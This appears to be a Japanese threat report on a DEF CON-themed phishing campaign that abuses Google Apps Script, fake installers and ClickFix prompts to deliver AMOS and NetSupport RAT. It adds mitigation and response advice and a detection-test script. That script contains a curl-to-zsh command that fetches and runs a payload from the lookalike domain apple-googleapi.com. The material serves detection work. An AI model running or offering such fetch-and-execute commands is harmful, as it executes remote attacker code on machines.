DEF CONをテーマにしたフィッシングがGoogle Apps Scriptを悪用してマルウェアを配信

概要

脅威アクターは、サイバーセキュリティ会議の参加者をソーシャルエンジニアリングによってターゲットにしており、元TwitterであるXを利用して、武器化されたGoogle Docsと偽のDocSendインストーラーを使用してマルウェアを配布しています。このキャンペーンでは、macOSユーザーにはAMOSインフォステーラーを、Windowsの被害者にはNetSupport RATとLedgerウォレットインプラントを含む多段階のペイロードが配信されます。攻撃はGoogle Apps ScriptサイドバーとClickFixスタイルのプロンプトを悪用して疑念を軽減し、悪意あるコード実行をトリガーします。

調査

Huntressの研究者は、CoinDeskの役員になりすまして脅威アクターと対話し、完全な攻撃チェーンを観察しました。調査により、Google Apps Script、盗まれた証明書で署名された偽のインストーラー、Windows上のローカルTLSインターセプトプロキシを含む洗練された多段階プロセスが明らかになりました。研究者はまた、JavaScriptがメモリ内で実行され、不正な認証機関を展開する第2段階を特定しました。

緩和策

ユーザーは、端末コマンドを実行する、Gatekeeperをバイパスする、またはドキュメントのサイドバーから手動で更新をインストールするという予期しない要求を疑うべきです。組織は、異常なGoogle Apps Script活動とコード署名証明書の不正使用を監視する必要があります。しっかりとしたエンドポイント管理とドキュメント共有リンクの独立した検証が、露出をさらに減少させられます。

対応

悪意のある活動が検出された場合、データ漏えいや横方向の移動を防ぐために、影響を受けたシステムを直ちに隔離する必要があります。対応者は、法医学的証拠を保存し、デバイスのイメージを再作成し、ローカルの資格情報や暗号通貨ウォレットデータを漏洩したと仮定するべきです。アクティブセッションを取り消し、パスワードをリセットし、システムに保存されているすべてのAPIキーまたは秘密を交換する必要があります。

## シミュレーション実行

前提条件：テレメトリーとベースラインのプリフライトチェックが合格していること。

理由：このセクションは、検出ルールをトリガーするように設計された敵対者技術（TTP）の正確な実行を詳述します。コマンドおよび記述は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目指す必要があります。抽象的または無関係な例は誤診につながります。

• 攻撃の詳細とコマンド： 敵対者は、正当なGoogle APIアップデートプロセスに偽装することで、macOSワークステーションに最初のアクセスを得ることを目指しています。ソーシャルエンジニアリング戦術を使用し、ユーザーに端末でコマンドを実行するよう指示します。このコマンドは curl を使用して、ペイロードを apple-googleapi.com （タイポスクワッティング/類似ドメイン）から取得し、出力を直接 zshにパイプします。この「土地の資源を活かす」アプローチは、コードを直接ネットワークストリームから実行することで、ファイルシステム上の法医学的証拠を最小限に抑えようとします。

• 回帰テストスクリプト：

  #!/bin/bash
  # "潜在的な悪意のあるシェルスクリプト実行"ルールをトリガーするシミュレーションスクリプト。
  # 注：実際の外部呼び出しを避けるために、ドメイン構造を模倣したダミーURLを使用することも可能ですが、
  # ルールを発動させるためには、コマンドラインに'apple-googleapi.com'が含まれていなければなりません。
  
   echo "[*] シミュレーション開始：悪意のあるシェルパイプを模倣中..."
  
  # このコマンドはすべての条件を満たします：
  # 1. プロセスはzsh/sh/bash
  # 2. 'curl'を含む
  # 3. '| zsh'を含む
  # 4. 'apple-googleapi.com'を含む
  
  # 実際のペイロード実行を防ぎながら、テレメトリーを生成するために存在しないURLを使用します。
  curl -s http://apple-googleapi.com/update.sh | zsh
  
  echo "[*] シミュレーションコマンド送信完了。"

• クリーンアップコマンド：

  # 攻撃コマンド自体ではディスク上にファイルは作成されませんが、もし何らかのアーティファクトが生成された場合、それらは削除されるべきです。
  rm -f ~/Downloads/update.sh 2>/dev/null
  echo "[*] クリーンアップ完了。"